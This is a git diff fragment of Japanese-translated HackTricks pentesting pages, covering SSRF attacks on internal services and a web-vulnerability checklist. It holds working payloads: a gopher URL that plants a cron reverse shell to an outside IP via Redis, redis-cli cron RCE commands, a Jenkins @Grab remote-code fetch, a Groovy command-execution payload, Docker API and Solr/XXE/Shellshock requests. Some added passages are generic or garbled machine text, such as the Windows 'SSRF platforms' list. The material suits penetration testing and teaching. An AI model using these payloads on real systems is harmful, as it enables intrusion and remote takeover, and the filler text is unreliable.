3. .NET Framework: The .NET Framework is a software framework developed by Microsoft that provides a programming model for building applications. Certain versions of the .NET Framework may have vulnerabilities that can be exploited for SSRF attacks. It is important to keep the framework updated with the latest security patches.
3. Remote Desktop Protocol (RDP): RDP is a proprietary protocol developed by Microsoft that allows users to connect to a remote computer over a network connection. Insecure RDP configurations can be abused to launch SSRF attacks against internal resources.
4. Windows PowerShell: PowerShell is a command-line shell and scripting language developed by Microsoft. It is commonly used for system administration tasks. Certain versions of PowerShell may have vulnerabilities that can be exploited for SSRF attacks. It is recommended to use the latest version of PowerShell and apply any available security updates.
4. Windows Management Instrumentation (WMI): WMI is a management technology developed by Microsoft that provides a standardized way for administrators to manage Windows systems. Misconfigured WMI settings can be exploited to perform SSRF attacks.
To protect against SSRF attacks on Windows, it is important to follow security best practices, such as:
- Regularly updating the operating system, server software, and frameworks with the latest security patches.
- Implementing strong access controls and authentication mechanisms to prevent unauthorized access to internal resources.
- Conducting regular security audits and penetration testing to identify and mitigate any vulnerabilities.
By taking these precautions, you can help protect your Windows systems from SSRF attacks and ensure the security of your sensitive information.
It is important for system administrators to regularly update and patch Windows systems to mitigate the risk of SSRF vulnerabilities. Additionally, implementing proper security configurations and access controls can help prevent unauthorized access to internal resources.
```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
@ -135,19 +129,19 @@ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
```
## Hashicorp Consul
**一般的にバインドされるポート: 8500, 8501 (SSL)**
**一般的にバインドされるポート: 85008501 (SSL)**
[ここ](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)にライトアップがります。
[ここ](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)にライトアップが見つかります。
## Shellshock
**一般的にバインドされるポート: 80, 443 (SSL), 8080**
**一般的にバインドされるポート: 80、443 (SSL)、8080**
Shellshockを効果的にテストするためには、ペイロードを含むヘッダを追加する必要がある場合があります。以下のCGIパスは試す価値があります。
テストするためのCGIパスの短いリスト:
[パスを含むGist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
[パスを含むGist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4)
**SSRFキャナリー: ユーザーエージェント経由のShellshock**
```bash
@ -200,13 +194,13 @@ Apache Druid Overlordsは、Apache Druidクラスターの管理と監視を担
**一般的にバインドされるポート: 8983**
**SSRFキャナリー: Shardsパラメータ**
**SSRFカナリア: Shardsパラメータ**
> shubhamさんの言っていることに加えて、Solrのスキャンは比較的簡単です。shards=パラメータを使用して、Solrインスタンスに無差別にアクセスしていることを確認するために、SSRFをSSRFにバウンスさせることができます。
>
> — Хавиж Нァッフィ 🥕 (@nnwakelam) [2021年1月13日](https://twitter.com/nnwakelam/status/1349298311853821956?ref\_src=twsrc%5Etfw)
[ここ](https://github.com/veracode-research/solr-injection)から引用。
[ここ](https://github.com/veracode-research/solr-injection)から引用しました
```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
@ -228,7 +222,7 @@ Apache Druid Overlordsは、Apache Druidクラスターの管理と監視を担
**一般的にバインドされるポート: 80,443 (SSL)**
この研究から引用 [こちら](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
この研究から引用 [こちら](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce)
**SSRFキャナリー: XXE #1**
```http
@ -272,17 +266,27 @@ Content-Type: application/xml
The following platforms are known to be vulnerable to Server-Side Request Forgery (SSRF) attacks using XML External Entity (XXE) injection:
1. **Workspace**: The Workspace platform allows users to import XML files, making it susceptible to XXE injection attacks. An attacker can craft a malicious XML file containing an external entity reference that points to an internal file, such as `/etc/passwd`, and trigger an SSRF attack to retrieve sensitive information.
1. **Workspace**: The Workspace platform allows users to import XML files, making it susceptible to XXE injection attacks. An attacker can craft a malicious XML file containing an external entity reference that triggers an SSRF attack.
2. **AWS EC2**: Amazon Web Services (AWS) Elastic Compute Cloud (EC2) instances can be vulnerable to SSRF attacks via XXE injection. By injecting a malicious XML file that references an external entity, an attacker can force the EC2 instance to make requests to internal resources, potentially leading to unauthorized access or data leakage.
2. **AWS EC2**: Amazon Web Services (AWS) Elastic Compute Cloud (EC2) instances can be vulnerable to SSRF attacks through XXE injection. By injecting a malicious XML file, an attacker can exploit the XXE vulnerability to perform SSRF attacks on the EC2 instance.
3. **GCP Compute Engine**: Google Cloud Platform (GCP) Compute Engine instances are also susceptible to SSRF attacks through XXE injection. By injecting a specially crafted XML file, an attacker can trick the Compute Engine instance into making requests to internal resources, potentially exposing sensitive information or compromising the system.
3. **GCP Compute Engine**: Google Cloud Platform (GCP) Compute Engine instances are also susceptible to SSRF attacks via XXE injection. By injecting a malicious XML file, an attacker can exploit the XXE vulnerability to perform SSRF attacks on the Compute Engine instance.
4. **Azure Virtual Machines**: Microsoft Azure Virtual Machines can be vulnerable to SSRF attacks using XXE injection. By injecting a malicious XML file, an attacker can manipulate the Virtual Machine to make requests to internal resources, potentially leading to unauthorized access or data leakage.
4. **Azure Virtual Machines**: Microsoft Azure Virtual Machines can be vulnerable to SSRF attacks through XXE injection. By injecting a malicious XML file, an attacker can exploit the XXE vulnerability to perform SSRF attacks on the Virtual Machine.
## Conclusion
## Mitigation
These platforms are commonly used in cloud environments and are prone to SSRF attacks when XXE injection vulnerabilities are present. It is crucial for developers and system administrators to be aware of these vulnerabilities and implement proper security measures to mitigate the risk of SSRF attacks.
To mitigate the risk of SSRF attacks via XXE injection, it is recommended to follow these best practices:
1. **Input Validation**: Implement strict input validation to prevent the acceptance of malicious XML files or external entity references.
2. **XML Parsing Configuration**: Configure XML parsers to disable external entity resolution or restrict access to external resources.
3. **Firewall Rules**: Implement firewall rules to restrict outgoing network connections from the vulnerable platform, preventing SSRF attacks.
4. **Least Privilege**: Ensure that the platform has the least privilege necessary to perform its intended functions, reducing the potential impact of SSRF attacks.
By implementing these mitigation measures, the risk of SSRF attacks via XXE injection can be significantly reduced.
```http
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
@ -387,30 +391,25 @@ Content-Type: application/xml
```
**RCE**
GETを介してRCEを達成するための手順については、[Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)を参照してください。
RCE(リモートコード実行)を達成するための手順は、[Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)を参照してください。
```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
```
**Groovyを介したRCE**
SSRFサーバーサイドリクエストフォージェリの脆弱なプラットフォームの一つに、Groovyを介したRCEリモートコード実行があります。この脆弱性は、Groovyスクリプトを実行する機能が提供されている場合に発生します。
SSRFサーバーサイドリクエストフォージェリの脆弱なプラットフォームの一つに、Groovyを介したRCEリモートコード実行があります。この攻撃は、Groovyスクリプトを実行する機能がある場合に悪用されます。
攻撃者は、Groovyスクリプトを使用して、サーバー上で任意のコードを実行することができます。これにより、攻撃者はサーバー内の機密情報にアクセスしたり、システムを乗っ取ったりすることができます。
攻撃者は、Groovyスクリプトを使用して、サーバー内のコードを実行することができます。これにより、攻撃者はサーバー上で任意のコマンドを実行し、システムに対する完全な制御を取得することができます。
この脆弱性を悪用するために、攻撃者は以下の手順を実行します。
この攻撃を防ぐためには、以下の対策を実施する必要があります。
1. 攻撃者は、Groovyスクリプトを実行するためのエンドポイントを特定します。
2. 攻撃者は、Groovyスクリプト内に任意のコードを埋め込みます。
3. 攻撃者は、Groovyスクリプトを実行するリクエストを送信します。
4. サーバーは、攻撃者が埋め込んだコードを実行します。
- 入力検証とフィルタリング: ユーザーからの入力を適切に検証し、信頼できないデータを拒否することが重要です。特に、外部リソースへのリクエストを受け付ける場合は、入力値を厳密に制限する必要があります。
この脆弱性を防ぐためには、以下の対策を実施する必要があります。
- ホワイトリストの使用: 許可されたホストやポートのホワイトリストを作成し、それ以外のリクエストをブロックすることで、攻撃のリスクを軽減することができます。
- Groovyスクリプトの実行機能を無効化する。
- 入力検証を実施し、信頼できないデータがGroovyスクリプトに渡されないようにする。
- セキュリティパッチやアップデートを適用し、最新のバージョンを使用する。
- セキュリティアップデートの適用: 使用しているGroovyのバージョンに関連するセキュリティアップデートを定期的に適用することで、既知の脆弱性を修正することができます。
以上がGroovyを介したRCEの概要です。この脆弱性を理解し、適切な対策を講じることが重要です。
以上の対策を実施することで、Groovyを介したRCE攻撃からシステムを保護することができます。
```
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
@ -464,7 +463,7 @@ echo($req);
```
## Docker
**一般的にバインドされるポート: 2375, 2376 (SSL)**
**一般的にバインドされるポート: 23752376 (SSL)**
部分的に盲目的なSSRFを持っている場合、次のパスを使用してDockerのAPIの存在を確認できます:
```bash
@ -476,23 +475,13 @@ echo($req);
SSRFサーバーサイドリクエストフォージェリの脆弱性を利用して、任意のDockerイメージを実行することにより、リモートコード実行RCEを達成することができます。
この攻撃は、SSRFの脆弱性を持つWebアプリケーションを標的にします。攻撃者は、アプリケーション内のURLパラメータやリクエストボディを操作し、任意のURLを指定することができます。
攻撃者は、SSRF脆弱性を持つターゲットアプリケーションに対して特定のリクエストを送信します。このリクエストには、攻撃者が制御するDockerイメージのURLが含まれています。
攻撃者は、SSRFを利用してDockerデーモンに接続し、任意のDockerイメージを実行するリクエストを送信します。これにより、攻撃者はコンテナ内で任意のコマンドを実行することができます。
ターゲットアプリケーションは、このURLを使用してDockerイメージをダウンロードし、実行します。攻撃者は、悪意のあるコードを含むDockerイメージを作成し、それを実行することで、ターゲットシステム上で任意のコードを実行することができます。
この攻撃を成功させるためには、以下の条件が必要です。
この攻撃は、ターゲットシステム内のリソースにアクセスするために内部ネットワークへのアクセス権を持つ場合に特に危険です。攻撃者は、内部ネットワーク上の他のシステムにアクセスし、機密情報を盗み出すなどの悪意のある活動を行うことができます。
1. ターゲットのWebアプリケーションがSSRFの脆弱性を持っていること。
2. ターゲットのWebアプリケーションがDockerデーモンに接続できること。
3. ターゲットのWebアプリケーションがDockerイメージの実行権限を持っていること。
攻撃者は、以下の手順でRCEを達成します。
1. ターゲットのWebアプリケーションに対してSSRF攻撃を実行し、Dockerデーモンに接続します。
2. 攻撃者は、Dockerデーモンに対して任意のDockerイメージを実行するリクエストを送信します。
3. Dockerデーモンは、指定されたDockerイメージを実行し、攻撃者はコンテナ内で任意のコマンドを実行することができます。
この攻撃により、攻撃者はターゲットのシステムに対して完全な制御を取得することができます。したがって、WebアプリケーションのSSRF脆弱性を修正することが重要です。
この攻撃を防ぐためには、ターゲットアプリケーションでの入力検証とフィルタリングの実装が重要です。また、Dockerイメージの実行には信頼できるリソースのみを使用するようにする必要があります。
```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
@ -507,7 +496,7 @@ alpineを、Dockerコンテナで実行したい任意のイメージに置き
**一般的にバインドされるポート: 9121**
この脆弱性は、Gitlabのバージョン13.1.1より前のインスタンスに影響を与えます。[Gitlabのドキュメント](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus)によると、「Prometheusとそのエクスポーターは、GitLab 9.0以降デフォルトで有効になっています。」
この脆弱性は、Gitlabのバージョン13.1.1より前のインスタンスに影響を与えます。[Gitlabのドキュメント](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus)によると、「Prometheusとそのエクスポーターは、GitLab 9.0以降デフォルトで有効になっています。」
これらのエクスポーターは、攻撃者がCVE-2020-13379を使用して他のサービスに侵入し攻撃するための優れた手段を提供します。容易に悪用できるエクスポーターの1つはRedis Exporterです。
@ -515,6 +504,8 @@ alpineを、Dockerコンテナで実行したい任意のイメージに置き
```bash
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```
***
**Gopherを介して可能**
## Redis
@ -523,7 +514,7 @@ http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
おすすめの読み物:
* [HTTPリクエストを介してRedisをハックしようとする](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
* [HTTPリクエストを介したRedisのハッキングの試み](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
* [Redisに対するSSRF攻撃](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**Cronを介したRCE** - [Gopher攻撃の対象](https://blog.chaitin.cn/gopher-attack-surfaces/)
@ -534,42 +525,13 @@ redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
```
# SSRF Vulnerable Platforms
Gopher:
SSRF (Server-Side Request Forgery) is a common vulnerability that allows an attacker to make requests from the server to other internal or external resources. This can lead to various security risks, such as accessing sensitive information, performing unauthorized actions, or even bypassing firewalls.
Gopherは、SSRFサーバーサイドリクエストフォージェリの脆弱性を持つプラットフォームの一つです。SSRFは、攻撃者がアプリケーション内のサーバーにリクエストを送信することができる脆弱性です。Gopherは、URLスキームを使用してリクエストを送信するため、攻撃者は外部のリソースにアクセスすることができます。この脆弱性を悪用すると、攻撃者は内部ネットワークにアクセスしたり、機密情報を盗んだりすることができます。
SSRF vulnerabilities can be found in various platforms and technologies. Here are some common platforms that are known to be vulnerable to SSRF attacks:
Gopherの脆弱性を検出するためには、アプリケーション内のURLパラメータやリクエストヘッダーを注意深く調査する必要があります。攻撃者は、外部のリソースにアクセスするために、URLスキームを変更したり、特殊なIPアドレスやドメイン名を使用したりすることがあります。
## Gopher
Gopher is a protocol used for retrieving documents over the Internet. It was popular in the early days of the web but has since been largely replaced by HTTP. However, some applications still support the Gopher protocol, and these can be vulnerable to SSRF attacks.
To exploit an SSRF vulnerability in a Gopher-based application, an attacker can craft a malicious request that includes a Gopher URL pointing to an internal resource. When the server processes this request, it will make a request to the specified Gopher URL and return the response to the attacker.
For example, consider the following vulnerable code snippet:
```python
import urllib.request
def fetch_data(url):
response = urllib.request.urlopen(url)
data = response.read()
return data
def process_request(request):
url = request.get('url')
data = fetch_data(url)
return data
```
In this code, the `fetch_data` function makes a request to the specified URL using the `urllib.request.urlopen` function. An attacker can exploit this by sending a request with a malicious URL, such as `gopher://attacker-controlled-server/`.
To prevent SSRF attacks in Gopher-based applications, it is important to validate and sanitize user-supplied URLs before making any requests. Additionally, it is recommended to restrict the protocols and domains that the application can access.
## References
- [OWASP SSRF](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)
- [Gopher Protocol](https://en.wikipedia.org/wiki/Gopher_(protocol))
Gopherの脆弱性を修正するためには、信頼できる入力検証とフィルタリングを実装する必要があります。また、アプリケーション内のサーバーへのリクエストを制限することも重要です。セキュリティ意識の高い開発者は、SSRFの脆弱性を理解し、適切な対策を講じることが重要です。
```bash
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```
@ -667,7 +629,7 @@ gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
```
## Apache Tomcat
**一般にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)**
**一般にバインドされるポート: 80、443 (SSL)、8080、8443 (SSL)**
Tomcat 6に対して有効:
@ -679,7 +641,7 @@ Tomcat 6に対して有効:
## FastCGI
**一般にバインドされるポート: 80,443 (SSL)**
**一般にバインドされるポート: 80443 (SSL)**
これは[ここ](https://blog.chaitin.cn/gopher-attack-surfaces/)から取得されました。
```bash

View file

@ -1,4 +1,4 @@
# ウェブ脆弱性の方法論
# Web脆弱性の方法論
<details>
@ -6,32 +6,33 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **ハッキングのトリックを共有する、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
すべてのウェブペントストでは、**脆弱性の可能性がある隠れた場所と明らかな場所がいくつかあります**。この記事は、すべての可能な場所で脆弱性を検索したことを確認するためのチェックリストです。
すべてのWebペントストでは、**脆弱性の可能性がある隠れた場所と明らかな場所がいくつかあります**。この投稿は、すべての可能な場所で脆弱性を検索したことを確認するためのチェックリストです。
## プロキシ
{% hint style="info" %}
現在の**ウェブアプリケーション**では、通常、ある種の**中間プロキシ**が使用されます。これらは脆弱性を悪用するために(悪用されることもあります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常、バックエンドにも追加の脆弱性が必要です。
現在の**Webアプリケーション**では、通常、ある種の**中間プロキシ**が使用されます。これらは脆弱性を悪用するために(悪用されることもあります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常、バックエンドにもいくつかの追加の脆弱性が必要です。
{% endhint %}
* [ ] [**ホップバイホップヘッダの悪用**](../abusing-hop-by-hop-headers.md)
* [ ] [**キャッシュポイズニング/キャッシュデセプション**](../cache-deception.md)
* [ ] [**ホップバイホップヘッダの悪用**](../abusing-hop-by-hop-headers.md)
* [ ] [**キャッシュの改ざん/キャッシュの欺瞞**](../cache-deception.md)
* [ ] [**HTTPリクエストスマグリング**](../http-request-smuggling/)
* [ ] [**H2Cスマグリング**](../h2c-smuggling.md)
* [ ] [**サーバーサイドインクルージョン/エッジサイドインクルージョン**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Cloudflareの特定**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**XSLTサーバーサイドインジェクション**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
* [ ] [**プロキシ/WAF保護のバイパス**](../proxy-waf-protections-bypass.md)
## **ユーザー入力**
{% hint style="info" %}
ほとんどのウェブアプリケーションでは、**ユーザーが後で処理されるデータを入力できる**ようになっています。\
ほとんどのWebアプリケーションでは、**ユーザーが後で処理されるデータを入力できる**ようになっています。\
データの構造によって、サーバーが期待する脆弱性が適用される場合とそうでない場合があります。
{% endhint %}
@ -42,7 +43,7 @@
* [ ] [**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)
* [ ] [**コマンドインジェクション**](../command-injection.md)
* [ ] [**CRLF**](../crlf-0d-0a.md)
* [ ] [**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/)
* [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
* [ ] [**ファイルインクルージョン/パストラバーサル**](../file-inclusion/)
* [ ] [**オープンリダイレクト**](../open-redirect.md)
* [ ] [**XSSへのプロトタイプ汚染**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
@ -55,7 +56,7 @@
* [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](../xs-search.md)
言及されている脆弱性のいくつかは特別な条件を必要とし、他の脆弱性は単に内容が反映される必要があります。以下のリンクから、これらの脆弱性を素早くテストするための興味深いポリグロスを見つけることができます。
言及されている脆弱性のいくつかは特別な条件を必要とし、他の脆弱性は単にコンテンツの反映を必要とします。以下のリンクから、これらの脆弱性を素早くテストするための興味深いポリグロスを見つけることができます。
{% content-ref url="../pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/)
@ -142,7 +143,7 @@ Webサーバーが提供するHTTPヘッダーによって、いくつかの脆
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**